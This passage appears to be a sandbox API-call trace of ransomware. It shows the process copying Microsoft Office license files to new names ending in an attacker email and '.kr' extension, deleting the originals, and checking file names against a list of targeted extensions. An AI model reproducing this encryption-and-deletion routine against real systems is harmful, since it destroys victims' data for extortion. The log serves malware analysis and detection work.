(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms")) returned 0x220 [0215.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.826] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.826] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.827] GetLastError () returned 0x0 [0215.827] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5172, lpOverlapped=0x0) returned 1 [0215.830] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5180, lpOverlapped=0x0) returned 1 [0215.831] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.831] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10e, lpOverlapped=0x0) returned 1 [0215.831] SetEndOfFile (hFile=0x568) returned 1 [0215.831] CloseHandle (hObject=0x568) returned 1 [0215.831] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.831] SetEndOfFile (hFile=0x474) returned 1 [0215.836] CloseHandle (hObject=0x474) returned 1 [0215.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms")) returned 1 [0215.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.837] lstrlenW (lpString=".doc") returned 4 [0215.837] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.837] lstrlenW (lpString=".docx") returned 5 [0215.837] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.837] lstrlenW (lpString=".pdf") returned 4 [0215.837] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.837] lstrlenW (lpString=".xls") returned 4 [0215.837] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.837] lstrlenW (lpString=".xlsx") returned 5 [0215.837] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.837] lstrlenW (lpString=".ppt") returned 4 [0215.837] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.837] lstrlenW (lpString=".zip") returned 4 [0215.838] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".rar") returned 4 [0215.838] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".bz2") returned 4 [0215.838] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".7z") returned 3 [0215.838] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString=".dbf") returned 4 [0215.838] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString=".1cd") returned 4 [0215.838] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString=".jpg") returned 4 [0215.838] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString=".doc") returned 4 [0215.838] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".docx") returned 5 [0215.838] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.838] lstrlenW (lpString=".pdf") returned 4 [0215.838] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".xls") returned 4 [0215.838] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString=".xlsx") returned 5 [0215.838] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.838] lstrlenW (lpString=".ppt") returned 4 [0215.838] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.838] lstrlenW (lpString=".zip") returned 4 [0215.838] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.839] lstrlenW (lpString=".rar") returned 4 [0215.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.839] lstrlenW (lpString=".bz2") returned 4 [0215.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.839] lstrlenW (lpString=".7z") returned 3 [0215.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.839] lstrlenW (lpString=".dbf") returned 4 [0215.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.839] lstrlenW (lpString=".1cd") returned 4 [0215.839] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms") returned 79 [0215.839] lstrlenW (lpString=".jpg") returned 4 [0215.839] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.839] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.839] lstrlenW (lpString="ProjectProR_Retail-ul-oob.xrm-ms") returned 32 [0215.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.840] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11596) returned 1 [0215.840] CloseHandle (hObject=0x474) returned 1 [0215.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms")) returned 0x220 [0215.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.841] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.841] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.842] GetLastError () returned 0x0 [0215.842] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0215.843] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0215.844] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.844] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0215.844] SetEndOfFile (hFile=0x568) returned 1 [0215.845] CloseHandle (hObject=0x568) returned 1 [0215.845] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.845] SetEndOfFile (hFile=0x474) returned 1 [0215.847] CloseHandle (hObject=0x474) returned 1 [0215.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms")) returned 1 [0215.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.848] lstrlenW (lpString=".doc") returned 4 [0215.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".docx") returned 5 [0215.849] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.849] lstrlenW (lpString=".pdf") returned 4 [0215.849] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".xls") returned 4 [0215.849] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".xlsx") returned 5 [0215.849] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.849] lstrlenW (lpString=".ppt") returned 4 [0215.849] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString=".zip") returned 4 [0215.849] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".rar") returned 4 [0215.849] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".bz2") returned 4 [0215.849] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".7z") returned 3 [0215.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString=".dbf") returned 4 [0215.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString=".1cd") returned 4 [0215.849] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString=".jpg") returned 4 [0215.849] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.849] lstrlenW (lpString=".doc") returned 4 [0215.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.849] lstrlenW (lpString=".docx") returned 5 [0215.850] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.850] lstrlenW (lpString=".pdf") returned 4 [0215.850] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString=".xls") returned 4 [0215.850] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString=".xlsx") returned 5 [0215.850] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.850] lstrlenW (lpString=".ppt") returned 4 [0215.850] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.850] lstrlenW (lpString=".zip") returned 4 [0215.850] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString=".rar") returned 4 [0215.850] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString=".bz2") returned 4 [0215.850] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString=".7z") returned 3 [0215.850] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.850] lstrlenW (lpString=".dbf") returned 4 [0215.850] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.850] lstrlenW (lpString=".1cd") returned 4 [0215.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms") returned 82 [0215.850] lstrlenW (lpString=".jpg") returned 4 [0215.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.851] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.851] lstrlenW (lpString="ProjectProR_Retail-ul-phn.xrm-ms") returned 32 [0215.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.851] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19941) returned 1 [0215.851] CloseHandle (hObject=0x474) returned 1 [0215.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms")) returned 0x220 [0215.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.853] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.853] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.854] GetLastError () returned 0x0 [0215.854] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4de5, lpOverlapped=0x0) returned 1 [0216.063] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0216.064] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.065] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0216.065] SetEndOfFile (hFile=0x568) returned 1 [0216.065] CloseHandle (hObject=0x568) returned 1 [0216.065] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.065] SetEndOfFile (hFile=0x474) returned 1 [0216.068] CloseHandle (hObject=0x474) returned 1 [0216.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms")) returned 1 [0216.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.069] lstrlenW (lpString=".doc") returned 4 [0216.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".docx") returned 5 [0216.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.069] lstrlenW (lpString=".pdf") returned 4 [0216.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".xls") returned 4 [0216.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".xlsx") returned 5 [0216.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.069] lstrlenW (lpString=".ppt") returned 4 [0216.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.069] lstrlenW (lpString=".zip") returned 4 [0216.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".rar") returned 4 [0216.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".bz2") returned 4 [0216.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.069] lstrlenW (lpString=".7z") returned 3 [0216.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".dbf") returned 4 [0216.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".1cd") returned 4 [0216.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".jpg") returned 4 [0216.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".doc") returned 4 [0216.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".docx") returned 5 [0216.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.070] lstrlenW (lpString=".pdf") returned 4 [0216.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".xls") returned 4 [0216.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".xlsx") returned 5 [0216.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.070] lstrlenW (lpString=".ppt") returned 4 [0216.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".zip") returned 4 [0216.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".rar") returned 4 [0216.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".bz2") returned 4 [0216.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.070] lstrlenW (lpString=".7z") returned 3 [0216.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.070] lstrlenW (lpString=".dbf") returned 4 [0216.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.071] lstrlenW (lpString=".1cd") returned 4 [0216.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms") returned 82 [0216.071] lstrlenW (lpString=".jpg") returned 4 [0216.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.071] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.071] lstrlenW (lpString="ProjectProVL_MAK-pl.xrm-ms") returned 26 [0216.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 